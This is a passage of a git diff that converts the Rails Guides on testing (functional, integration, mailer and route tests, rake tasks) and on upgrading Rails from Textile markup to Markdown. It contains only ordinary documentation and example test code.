string. The message parameter allows you to specify a custom error message for assertion failures.| +| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range| +| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(:controller => "weblog")` will also match the redirection of `redirect_to(:controller => "weblog", :action => "show")` and so on.| +| `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.| You'll see the usage of some of these assertions in the next chapter. -h3. Functional Tests for Your Controllers +Functional Tests for Your Controllers +------------------------------------- In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view. -h4. What to Include in your Functional Tests +### What to Include in your Functional Tests You should test for things such as: @@ -412,44 +420,44 @@ You should test for things such as: * was the correct object stored in the response template? * was the appropriate message displayed to the user in the view? -Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory. +Now that we have used Rails scaffold generator for our `Post` resource, it has already created the controller code and functional tests. You can take look at the file `posts_controller_test.rb` in the `test/functional` directory. -Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+. +Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`. -<ruby> +```ruby test "should get index" do get :index assert_response :success assert_not_nil assigns(:posts) end -</ruby> +``` -In the +test_should_get_index+ test, Rails simulates a request on the action called +index+, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable. +In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable. -The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments: +The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments: * The action of the controller you are requesting. This can be in the form of a string or a symbol. * An optional hash of request parameters to pass into the action (eg. query string parameters or post variables). * An optional hash of session variables to pass along with the request. * An optional hash of flash values. -Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session: +Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting a `user_id` of 5 in the session: -<ruby> +```ruby get(:show, {'id' => "12"}, {'user_id' => 5}) -</ruby> +``` -Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message. +Another example: Calling the `:view` action, passing an `id` of 12 as the `params`, this time with no session, but with a flash message. -<ruby> +```ruby get(:view, {'id' => '12'}, nil, {'message' => 'booya!'}) -</ruby> +``` -NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so. +NOTE: If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so. -Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass: +Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass: -<ruby> +```ruby test "should create post" do assert_difference('Post.count') do post :create, :post => { :title => 'Some title'} @@ -457,74 +465,74 @@ test "should create post" do assert_redirected_to post_path(assigns(:post)) end -</ruby> +``` Now you can try running all the tests and they should pass. -h4. Available Request Types for Functional Tests +### Available Request Types for Functional Tests -If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 6 request types supported in Rails functional tests: +If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests: -* +get+ -* +post+ -* +patch+ -* +put+ -* +head+ -* +delete+ +* `get` +* `post` +* `patch` +* `put` +* `head` +* `delete` All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others. NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive. -h4. The Four Hashes of the Apocalypse +### The Four Hashes of the Apocalypse -After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use: +After a request has been made by using one of the 5 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use: -* +assigns+ - Any objects that are stored as instance variables in actions for use in views. -* +cookies+ - Any cookies that are set. -* +flash+ - Any objects living in the flash. -* +session+ - Any object living in session variables. +* `assigns` - Any objects that are stored as instance variables in actions for use in views. +* `cookies` - Any cookies that are set. +* `flash` - Any objects living in the flash. +* `session` - Any object living in session variables. -As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example: +As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for `assigns`. For example: -<ruby> +```ruby flash["gordon"] flash[:gordon] session["shmession"] session[:shmession] cookies["are_good_for_u"] cookies[:are_good_for_u] # Because you can't use assigns[:something] for historical reasons: assigns["something"] assigns(:something) -</ruby> +``` -h4. Instance Variables Available +### Instance Variables Available You also have access to three instance variables in your functional tests: -* +@controller+ - The controller processing the request -* +@request+ - The request -* +@response+ - The response +* `@controller` - The controller processing the request +* `@request` - The request +* `@response` - The response -h4. Testing Templates and Layouts +### Testing Templates and Layouts -If you want to make sure that the response rendered the correct template and layout, you can use the +assert_template+ +If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template` method: -<ruby> +```ruby test "index should render correct template and layout" do get :index assert_template :index assert_template :layout => "layouts/application" end -</ruby> +``` -Note that you cannot test for template and layout at the same time, with one call to +assert_template+ method. -Also, for the +layout+ test, you can give a regular expression instead of a string, but using the string, makes +Note that you cannot test for template and layout at the same time, with one call to `assert_template` method. +Also, for the `layout` test, you can give a regular expression instead of a string, but using the string, makes things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout file in this standard layout directory. Hence, -<ruby> +```ruby assert_template :layout => "application" -</ruby> +``` will not work. @@ -533,20 +541,20 @@ Otherwise, assertion will fail. Hence: -<ruby> +```ruby test "new should render correct layout" do get :new assert_template :layout => "layouts/application", :partial => "_form" end -</ruby> +``` -is the correct way to assert for the layout when the view renders a partial with name +_form+. Omitting the +:partial+ key in your +assert_template+ call will complain. +is the correct way to assert for the layout when the view renders a partial with name `_form`. Omitting the `:partial` key in your `assert_template` call will complain. -h4. A Fuller Functional Test Example +### A Fuller Functional Test Example -Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+: +Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`: -<ruby> +```ruby test "should create post" do assert_difference('Post.count') do post :create, :post => { :title => 'Hi', :body => 'This is my first post.'} @@ -554,37 +562,37 @@ test "should create post" do assert_redirected_to post_path(assigns(:post)) assert_equal 'Post was successfully created.', flash[:notice] end -</ruby> +``` -h4. Testing Views +### Testing Views -Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax. +Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax. -NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+. +NOTE: You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`. -There are two forms of +assert_select+: +There are two forms of `assert_select`: -+assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object. +`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object. -+assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants. +`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `HTML::Node`) and its descendants. For example, you could verify the contents on the title element in your response with: -<ruby> +```ruby assert_select 'title', "Welcome to Rails Testing Guide" -</ruby> +``` -You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block: +You can also use nested `assert_select` blocks. In this case the inner `assert_select` runs the assertion on the complete collection of elements selected by the outer `assert_select` block: -<ruby> +```ruby assert_select 'ul.navigation' do assert_select 'li.menu_item' end -</ruby> +``` -Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass. +Alternatively the collection of elements selected by the outer `assert_select` may be iterated through so that `assert_select` may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass. -<ruby> +```ruby assert_select "ol" do |elements| elements.each do |element| assert_select element, "li", 4 @@ -594,42 +602,44 @@ end assert_select "ol" do assert_select "li", 8 end -</ruby> +``` -The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html. +The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html). -h5. Additional View-Based Assertions +#### Additional View-Based Assertions There are more assertions that are primarily used in testing views: -|_.Assertion |_.Purpose| -|+assert_select_email+ |Allows you to make assertions on the body of an e-mail. | -|+assert_select_encoded+ |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.| -|+css_select(selector)+ or +css_select(element, selector)+ |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.| +| Assertion | Purpose | +| ---------------------------------------------------------- | ------- | +| `assert_select_email` | Allows you to make assertions on the body of an e-mail. | +| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.| +| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.| -Here's an example of using +assert_select_email+: +Here's an example of using `assert_select_email`: -<ruby> +```ruby assert_select_email do assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.' end -</ruby> +``` -h3. Integration Testing +Integration Testing +------------------- Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application. Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you. -<shell> +```bash $ rails generate integration_test user_flows exists test/integration/ create test/integration/user_flows_test.rb -</shell> +``` Here's what a freshly-generated integration test looks like: -<ruby> +```ruby require 'test_helper' class UserFlowsTest < ActionDispatch::IntegrationTest @@ -640,33 +650,34 @@ class UserFlowsTest < ActionDispatch::IntegrationTest assert true end end -</ruby> +``` -Integration tests inherit from +ActionDispatch::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test. +Integration tests inherit from `ActionDispatch::IntegrationTest`. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test. -h4. Helpers Available for Integration Tests +### Helpers Available for Integration Tests In addition to the standard testing helpers, there are some additional helpers available to integration tests: -|_.Helper |_.Purpose| -|+https?+ |Returns +true+ if the session is mimicking a secure HTTPS request.| -|+https!+ |Allows you to mimic a secure HTTPS request.| -|+host!+ |Allows you to set the host name to use in the next request.| -|+redirect?+ |Returns +true+ if the last request was a redirect.| -|+follow_redirect!+ |Follows a single redirect response.| -|+request_via_redirect(http_method, path, [parameters], [headers])+ |Allows you to make an HTTP request and follow any subsequent redirects.| -|+post_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP POST request and follow any subsequent redirects.| -|+get_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP GET request and follow any subsequent redirects.| -|+patch_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PATCH request and follow any subsequent redirects.| -|+put_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PUT request and follow any subsequent redirects.| -|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects.| -|+open_session+ |Opens a new session instance.| - -h4. Integration Testing Examples +| Helper | Purpose | +| ------------------------------------------------------------------ | ------- | +| `https?` | Returns `true` if the session is mimicking a secure HTTPS request.| +| `https!` | Allows you to mimic a secure HTTPS request.| +| `host!` | Allows you to set the host name to use in the next request.| +| `redirect?` | Returns `true` if the last request was a redirect.| +| `follow_redirect!` | Follows a single redirect response.| +| `request_via_redirect(http_method, path, [parameters], [headers])` | Allows you to make an HTTP request and follow any subsequent redirects.| +| `post_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP POST request and follow any subsequent redirects.| +| `get_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP GET request and follow any subsequent redirects.| +| `patch_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PATCH request and follow any subsequent redirects.| +| `put_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PUT request and follow any subsequent redirects.| +| `delete_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP DELETE request and follow any subsequent redirects.| +| `open_session` | Opens a new session instance.| + +### Integration Testing Examples A simple integration test that exercises multiple controllers: -<ruby> +```ruby require 'test_helper' class UserFlowsTest < ActionDispatch::IntegrationTest @@ -688,13 +699,13 @@ class UserFlowsTest < ActionDispatch::IntegrationTest assert assigns(:products) end end -</ruby> +``` As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application. Here's an example of multiple sessions and custom DSL in an integration test -<ruby> +```ruby require 'test_helper' class UserFlowsTest < ActionDispatch::IntegrationTest @@ -740,35 +751,39 @@ class UserFlowsTest < ActionDispatch::IntegrationTest end end end -</ruby> +``` -h3. Rake Tasks for Running your Tests +Rake Tasks for Running your Tests +--------------------------------- You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project. -|_.Tasks |_.Description| -|+rake test+ |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.| -|+rake test:benchmark+ |Benchmark the performance tests| -|+rake test:functionals+ |Runs all the functional tests from +test/functional+| -|+rake test:integration+ |Runs all the integration tests from +test/integration+| -|+rake test:profile+ |Profile the performance tests| -|+rake test:recent+ |Tests recent changes| -|+rake test:uncommitted+ |Runs all the tests which are uncommitted. Supports Subversion and Git| -|+rake test:units+ |Runs all the unit tests from +test/unit+| +| Tasks | Description | +| ------------------------------- | ----------- | +| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as the _test_ target is the default.| +| `rake test:benchmark` | Benchmark the performance tests| +| `rake test:functionals` | Runs all the functional tests from `test/functional`| +| `rake test:integration` | Runs all the integration tests from `test/integration`| +| `rake test:profile` | Profile the performance tests| +| `rake test:recent` | Tests recent changes| +| `rake test:uncommitted` | Runs all the tests which are uncommitted. Supports Subversion and Git| +| `rake test:units` | Runs all the unit tests from `test/unit`| -h3. Brief Note About +Test::Unit+ +Brief Note About `Test::Unit` +----------------------------- -Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+, allowing +Ruby ships with a boat load of libraries. One little gem of a library is `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing us to use all of the basic assertions in our tests. -NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/ +NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/) -h3. Setup and Teardown +Setup and Teardown +------------------ -If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller: +If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller: -<ruby> +```ruby require 'test_helper' class PostsControllerTest < ActionController::TestCase @@ -800,18 +815,18 @@ class PostsControllerTest < ActionController::TestCase end end -</ruby> +``` -Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as +ActiveSupport::Callbacks+. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using: +Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using: * a block * a method (like in the earlier example) * a method name as a symbol * a lambda -Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol: +Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol: -<ruby> +```ruby require '../test_helper' class PostsControllerTest < ActionController::TestCase @@ -849,23 +864,25 @@ class PostsControllerTest < ActionController::TestCase end end -</ruby> +``` -h3. Testing Routes +Testing Routes +-------------- -Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like: +Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like: -<ruby> +```ruby test "should route to post" do assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" } end -</ruby> +``` -h3. Testing Your Mailers +Testing Your Mailers +-------------------- Testing mailer classes requires some specific tools to do a thorough job. -h4. Keeping the Postman in Check +### Keeping the Postman in Check Your mailer classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected. @@ -875,25 +892,25 @@ The goals of testing your mailer classes are to ensure that: * the email content is correct (subject, sender, body, etc) * the right emails are being sent at the right times -h5. From All Sides +#### From All Sides There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time. -h4. Unit Testing +### Unit Testing In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced. -h5. Revenge of the Fixtures +#### Revenge of the Fixtures -For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory. +For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory. When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself. -h5. The Basic Test Case +#### The Basic Test Case -Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action. +Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action. -<ruby> +```ruby require 'test_helper' class UserMailerTest < ActionMailer::TestCase @@ -909,29 +926,29 @@ class UserMailerTest < ActionMailer::TestCase end end -</ruby> +``` -In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file. +In this test, `@expected` is an instance of `TMail::Mail` that you can use in your tests. It is defined in `ActionMailer::TestCase`. The test above uses `@expected` to construct an email, which it then asserts with email created by the custom mailer. The `invite` fixture is the body of the email and is used as the sample content to assert against. The helper `read_fixture` is used to read in the content from this file. -Here's the content of the +invite+ fixture: +Here's the content of the `invite` fixture: -<pre> +``` Hi friend@example.com, You have been invited. Cheers! -</pre> +``` -This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+). +This is the right time to understand a little more about writing tests for your mailers. The line `ActionMailer::Base.delivery_method = :test` in `config/environments/test.rb` sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (`ActionMailer::Base.deliveries`). However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be. -h4. Functional Testing +### Functional Testing Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately: -<ruby> +```ruby require 'test_helper' class UserControllerTest < ActionController::TestCase @@ -946,14 +963,15 @@ class UserControllerTest < ActionController::TestCase assert_match(/Hi friend@example.com/, invite_email.body) end end -</ruby> +``` -h3. Other Testing Approaches +Other Testing Approaches +------------------------ -The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including: +The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including: -* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use. -* "Factory Girl":https://github.com/thoughtbot/factory_girl/tree/master, a replacement for fixtures. -* "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures. -* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions. -* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework +* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use. +* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures. +* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures. +* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions. +* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework diff --git a/guides/source/upgrading_ruby_on_rails.textile b/guides/source/upgrading_ruby_on_rails.md index b750cc2ffb..ee205eb5f4 100644 --- a/guides/source/upgrading_ruby_on_rails.textile +++ b/guides/source/upgrading_ruby_on_rails.md @@ -1,18 +1,20 @@ -h2. A Guide for Upgrading Ruby on Rails +A Guide for Upgrading Ruby on Rails +=================================== This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides. -endprologue. +-------------------------------------------------------------------------------- -h3. General Advice +General Advice +-------------- Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few. -h4(#general_testing). Test Coverage +### Test Coverage The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade. -h4(#general_ruby). Ruby Versions +### Ruby Versions Rails generally stays close to the latest released Ruby version when it's released: @@ -22,7 +24,8 @@ Rails generally stays close to the latest released Ruby version when it's releas TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. -h3. Upgrading from Rails 3.2 to Rails 4.0 +Upgrading from Rails 3.2 to Rails 4.0 +------------------------------------- NOTE: This section is a work in progress. @@ -30,61 +33,62 @@ If your application is currently on any version of Rails older than 3.2.x, you s The following changes are meant for upgrading your application to Rails 4.0. -h4(#plugins4_0). vendor/plugins +### vendor/plugins -Rails 4.0 no longer supports loading plugins from <tt>vendor/plugins</tt>. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>. +Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. -h4(#identity_map4_0). Identity Map +### Identity Map -Rails 4.0 has removed the identity map from Active Record, due to "some inconsistencies with associations":https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: <tt>config.active_record.identity_map</tt>. +Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`. -h4(#active_record4_0). Active Record +### Active Record -The <tt>delete</tt> method in collection associations can now receive <tt>Fixnum</tt> or <tt>String</tt> arguments as record ids, besides records, pretty much like the <tt>destroy</tt> method does. Previously it raised <tt>ActiveRecord::AssociationTypeMismatch</tt> for such arguments. From Rails 4.0 on <tt>delete</tt> automatically tries to find the records matching the given ids before deleting them. +The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them. -Rails 4.0 has changed how orders get stacked in +ActiveRecord::Relation+. In previous versions of rails new order was applied after previous defined order. But this is no long true. Check "ActiveRecord Query guide":active_record_querying.html#ordering for more information. +Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of rails new order was applied after previous defined order. But this is no long true. Check [ActiveRecord Query guide](active_record_querying.html#ordering) for more information. -Rails 4.0 has changed <tt>serialized_attributes</tt> and <tt>_attr_readonly</tt> to class methods only. Now you shouldn't use instance methods, it's deprecated. You must change them, e.g. <tt>self.serialized_attributes</tt> to <tt>self.class.serialized_attributes</tt>. +Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. Now you shouldn't use instance methods, it's deprecated. You must change them, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`. -h4(#active_model4_0). Active Model +### Active Model -Rails 4.0 has changed how errors attach with the <tt>ActiveModel::Validations::ConfirmationValidator</tt>. Now when confirmation validations fail the error will be attached to <tt>:#{attribute}_confirmation</tt> instead of <tt>attribute</tt>. +Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail the error will be attached to `:#{attribute}_confirmation` instead of `attribute`. -h4(#action_pack4_0). Action Pack +### Action Pack -Rails 4.0 changed how <tt>assert_generates</tt>, <tt>assert_recognizes</tt>, and <tt>assert_routing</tt> work. Now all these assertions raise <tt>Assertion</tt> instead of <tt>ActionController::RoutingError</tt>. +Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`. Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example: -<ruby> +```ruby get Rack::Utils.escape('こんにちは'), :controller => 'welcome', :action => 'index' -</ruby> +``` becomes -<ruby> +```ruby get 'こんにちは', :controller => 'welcome', :action => 'index' -</ruby> +``` -h4(#active_support4_0). Active Support +### Active Support -Rails 4.0 Removed the <tt>j</tt> alias for <tt>ERB::Util#json_escape</tt> since <tt>j</tt> is already used for <tt>ActionView::Helpers::JavaScriptHelper#escape_javascript</tt>. +Rails 4.0 Removed the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`. -h4(#helpers_order). Helpers Loading Order +### Helpers Loading Order -The loading order of helpers from more than one directory has changed in Rails 4.0. Previously, helpers from all directories were gathered and then sorted alphabetically. After upgrade to Rails 4.0 helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use <tt>helpers_path</tt> parameter, this change will only impact the way of loading helpers from engines. If you rely on the fact that particular helper from engine loads before or after another helper from application or another engine, you should check if correct methods are available after upgrade. If you would like to change order in which engines are loaded, you can use <tt>config.railties_order=</tt> method. +The loading order of helpers from more than one directory has changed in Rails 4.0. Previously, helpers from all directories were gathered and then sorted alphabetically. After upgrade to Rails 4.0 helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the fact that particular helper from engine loads before or after another helper from application or another engine, you should check if correct methods are available after upgrade. If you would like to change order in which engines are loaded, you can use `config.railties_order=` method. -h3. Upgrading from Rails 3.1 to Rails 3.2 +Upgrading from Rails 3.1 to Rails 3.2 +------------------------------------- If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2. The following changes are meant for upgrading your application to Rails 3.2.2, the latest 3.2.x version of Rails. -h4(#gemfile3_2). Gemfile +### Gemfile -Make the following changes to your +Gemfile+. +Make the following changes to your `Gemfile`. -<ruby> +```ruby gem 'rails', '= 3.2.2' group :assets do @@ -92,45 +96,46 @@ group :assets do gem 'coffee-rails', '~> 3.2.1' gem 'uglifier', '>= 1.0.3' end -</ruby> +``` -h4(#config_dev3_2). config/environments/development.rb +### 